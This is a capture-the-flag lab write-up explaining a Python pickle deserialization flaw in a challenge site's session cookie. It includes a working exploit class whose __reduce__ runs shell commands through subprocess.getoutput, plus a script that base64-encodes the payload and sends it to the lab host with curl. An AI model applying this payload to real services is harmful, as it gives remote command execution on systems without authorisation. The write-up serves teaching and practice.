Simple Web 0x16(Lab - Pickle)
tags: NTUSTWS CTF Web
- Challenge: http://h4ck3r.quest:8600/
- Note: open a brand new window that haven’t login
http://h4ck3r.quest
Background
Source code
1 |
|
Description & Analyze
In main function, it’ll request session and parse it by base64 then deserialize it.
If session is none, you can enter your name and age then it’ll serialize the data and transfer by base64.
For example: name=123, age=123
The Cookie: session=gASVGgAAAAAAAAB9lCiMBG5hbWWUjAMxMjOUjANhZ2WUS3t1Lg==
1 |
|
Exploit
- Construct exploit function: Note that the format must be
{'name': '', 'age': ''} - Payload
1
2
3
4
5
6
7
8class exploit(object): def __reduce__(self): return (__import__('subprocess').getoutput, ('ls',)) serialized = pickle.dumps({ "name": '123', "age": exploit() })Note that, must not use
os.systemin this situation. ‘Cause in addition to the result ofos.system('{command}'), it’ll return exit status code.On Unix, the return value is the exit status of the process encoded in the format specified for wait(). Note that POSIX does not specify the meaning of the return value of the C system() function, so the return value of the Python function is system-dependent.
So that if we use
os.systemas payload directly the output will not be render correctly.- For instance:
1
2
3
4
5
6
7
8
9
10
11class exploit(object): def __reduce__(self): return (os.system, ('ls',)) serialized = pickle.dumps({ "name": '123', "age": exploit() }) optim_s = base64.b64encode(serialized) print(pickle.loads(base64.b64decode(optim_s)))$ python pickle_exp.py exploit.py pickle_exp.py server_app.py {'name': '123', 'age': 0}or You can execute it in wsl directly.
So, you can use subprocess.getoutputto fetch the outcome without exit code
- For instance:
- Whole exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import pickle import os import pickletools import base64 class exploit(object): def __reduce__(self): return (__import__('subprocess').getoutput, ('ls -al /',)) serialized = pickle.dumps({ "name": '123', "age": exploit() }) optim_s = pickletools.optimize(serialized) cookie = base64.b64encode(optim_s).decode() os.system(f"curl http://h4ck3r.quest:8600/ --cookie 'session={cookie}'")
Result
